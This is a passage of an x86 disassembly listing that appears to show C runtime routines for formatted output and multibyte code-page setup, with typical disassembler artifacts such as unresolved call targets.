		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28F049Bh
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 267084Bh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		jmp	near ptr 28F0BD5h
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		call	near ptr 28F049Bh
		nop
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
